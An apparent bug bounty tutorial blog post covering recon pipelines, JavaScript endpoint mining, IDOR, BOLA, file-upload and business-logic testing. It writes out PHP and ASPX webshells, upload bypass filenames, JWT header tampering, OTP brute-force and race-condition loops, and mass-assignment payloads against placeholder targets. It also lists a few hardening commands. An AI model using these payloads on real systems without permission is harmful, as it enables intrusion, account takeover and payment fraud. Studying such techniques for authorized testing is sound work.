Listen to this Post
Introduction:
Most bug bounty beginners mistake reconnaissance for simple subdomain enumeration, running tools like subfinder and blindly testing random URLs. True recon is about understanding an application’s attack surface—mapping forgotten features, hidden APIs, misconfigured endpoints, and business logic flaws that automated scanners miss. Without this mindset, you’re just building lists, not finding bugs.
Learning Objectives:
- Differentiate between passive enumeration and active attack surface mapping.
- Implement a structured recon workflow covering subdomains, live hosts, technology fingerprinting, JS analysis, and API discovery.
- Identify and exploit common web and API vulnerabilities including IDOR, broken object-level authorization, and rate-limit bypasses.
You Should Know:
1. Beyond Subfinder: Building a Real Recon Pipeline
Most beginners run `subfinder -d target.com` and stop. Real recon starts there but quickly moves to validating, enriching, and analyzing.
Step‑by‑step guide for Linux:
1. Subdomain enumeration subfinder -d target.com -o subs.txt assetfinder target.com >> subs.txt amass enum -passive -d target.com -o amass.txt <ol> <li>Sort and deduplicate sort -u subs.txt > all_subs.txt</p></li> <li><p>Check live hosts (HTTP/HTTPS) cat all_subs.txt | httpx -silent -o live.txt</p></li> <li><p>Technology fingerprinting httpx -l live.txt -tech-detect -json -o tech.json</p></li> <li><p>Screenshot for quick visual inspection gau target.com | unfurl paths > urls.txt
Windows alternative using PowerShell:
Using Invoke-SubdomainDiscovery (PowerShell script)
Get-Content subs.txt | Test-NetConnection -Port 80 | Where-Object {$_.TcpTestSucceeded}
The goal is not volume; it’s identifying which live hosts run which frameworks (WordPress, React, custom APIs). Save output for deeper JS analysis.
2. JavaScript Analysis: Where Hidden APIs Live
Modern single-page applications leak endpoints, API keys, and internal paths inside JavaScript files. Attackers map these before writing a single exploit.
Step‑by‑step guide:
Extract all JS files from live targets
cat live.txt | waybackurls | grep ".js" | sort -u > js_files.txt
Download and analyze
while read js; do
curl -s "$js" | grep -Eo "(https?://[^\"']+|/api/[^\"']+|/v[0-9]/[^\"']+)" >> endpoints.txt
done < js_files.txt
Use LinkFinder (Python tool)
git clone https://github.com/GerbenJavado/LinkFinder.git
cd LinkFinder
python linkfinder.py -i https://target.com/app.js -o cli
For sensitive keywords
cat js_files.txt | xargs -I{} curl -s {} | grep -iE "(api_key|token|secret|admin|internal|bucket)"
Windows PowerShell version:
$jsFiles = Get-Content js_files.txt
foreach ($url in $jsFiles) {
$content = Invoke-WebRequest -Uri $url -UseBasicParsing
$content.Content | Select-String -Pattern "(https?://[^\"']+|/api/[^\"']+)" -AllMatches
}
Look for GraphQL endpoints (/graphql, /v1/graphql) and Swagger docs (/swagger, /api-docs). These are goldmines for API testing.
3. Authentication Flows & IDOR Opportunities
IDOR (Insecure Direct Object Reference) occurs when an application uses user-supplied input to access objects directly without permission checks. Authentication bypasses often hide in forgotten reset flows.
Step‑by‑step guide for testing:
1. Capture authentication requests in Burp Suite or Caido 2. Look for sequential IDs (e.g., /user/123, /invoice/456) 3. Change ID values and observe response differences Automated IDOR scanning with Arjun (parameter discovery) arjun -u https://target.com/api/user -o params.txt Then fuzz each parameter with IDs ffuf -u https://target.com/api/user?uid=FUZZ -w ids.txt -fc 401,403 For JWT token manipulation (decode and modify) Install jwt_tool python3 jwt_tool.py <JWT_TOKEN> -T -I -hc kid -hv "invalid"
Linux command to test rate‑limit bypass on OTP endpoints:
Simple brute using Burp Intruder or:
for i in {1..100}; do curl -X POST -d "phone=+1234567890" https://target.com/api/otp; done
If 100 requests succeed without lockout, rate limiting is broken—report as P2.
- File Upload Exploitation: From Unrestricted Upload to RCE
File upload features often allow dangerous file types, path traversal, or MIME‑type spoofing. Combine with misconfigured servers for remote code execution.
Step‑by‑step guide:
1. Intercept upload request (Burp) 2. Change filename to "../../../shell.php" 3. Change Content-Type from "image/jpeg" to "application/x-httpd-php" 4. Upload a simple PHP webshell <?php system($_GET['cmd']); ?> Test for eXtension bypass with double extensions or null bytes shell.php%00.jpg shell.php.jpg If upload succeeds, access via: https://target.com/uploads/shell.php?cmd=id For Windows servers, try ASPX: <%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
Mitigation commands for defenders (Linux hardening):
Disable PHP execution in upload directories
echo "php_flag engine off" > /var/www/uploads/.htaccess
Set proper file permissions
find /var/www/uploads -type f -exec chmod 644 {} \;
- API Security: Broken Object Level Authorization (BOLA) & Mass Assignment
APIs are the new perimeter. BOLA (OWASP API Top 1) occurs when an API endpoint allows access to objects without checking user ownership.
Step‑by‑step guide for testing:
1. Identify REST endpoints: /api/users/{id}, /api/orders/{order_id}
2. Authenticate as low‑privileged user (User A)
3. Change the ID to another user’s (User B’s) order
curl -X GET -H "Authorization: Bearer <userA_token>" https://api.target.com/api/orders/12345
If you see User B’s data → BOLA confirmed
Mass assignment testing: Add extra parameters to POST/PUT requests
Original request:
{"username":"test","email":"[email protected]"}
Modified:
{"username":"test","email":"[email protected]","is_admin":true,"role":"superuser"}
Use Arjun to find hidden parameters
arjun -u https://api.target.com/user/update -d "username=test" -m POST
Token manipulation check for Windows (using curl):
curl -X GET "https://api.target.com/user/profile" -H "Authorization: Bearer %JWT%" -H "X-Original-User: admin"
Sometimes headers like `X-Forwarded-For` or `X-Original-User` can bypass auth if not stripped.
6. Business Logic Flaws: Payment & Subscription Bypasses
Logic vulnerabilities cannot be scanned. They require understanding how the application processes discounts, trials, and cancellations.
Step‑by‑step testing:
1. Apply a coupon multiple times in same cart
2. Change negative quantity (e.g., -1) to reduce total price
3. Intercept and replay the subscription cancellation request to get refund twice
4. Exploit race conditions on gift card redemption
Example race condition script (Linux)
for i in {1..20}; do
curl -X POST -d "card_code=ABC123" https://target.com/api/redeem &
done
Parallel requests might redeem same card multiple times
Check for parameter pollution:
Send duplicate parameters https://target.com/checkout?discount=10&discount=100 Server may use last one → report as high severity if discount is abused.
What Undercode Say:
- Recon is not a checklist; it’s an iterative process of discovery. Run subfinder, then JS analysis, then API fuzzing, then revisit subdomains with new context.
- Beginners scan, professionals map. Understanding application architecture (frontend frameworks, backend APIs, cloud providers) leads to higher‑impact bugs.
- Every hidden endpoint is a potential vulnerability. Forgotten test APIs, admin panels on non‑standard ports, and debug endpoints often have no authentication.
- API security is the new frontier. Most modern bugs are BOLA, excessive data exposure, or mass assignment—classic XSS/SQLi are declining.
- Automation should augment, not replace, manual thinking. Use
httpx,ffuf, and `Arjun` but always validate with manual logic exploration.
The difference between a list‑maker and a bug hunter is simple: one collects URLs, the other understands how each URL behaves, who can access it, and what happens when inputs change. Adopt the attacker’s mindset—ask “What if I change this?” instead of “What does this do?”
Prediction:
As AI‑generated code increases API sprawl and misconfigurations, automated vulnerability scanners will lag further behind. The next wave of bug bounty success will belong to hunters who master semi‑automated attack surface mapping and business logic reasoning. Platforms will shift from rewarding quantity of low‑severity findings to prioritizing deep‑context, chained exploits—pushing beginners to invest months learning application architecture instead of days running subfinder. Expect certification courses on API hacking and graphQL security to triple by 2027.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Deepak Saini – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
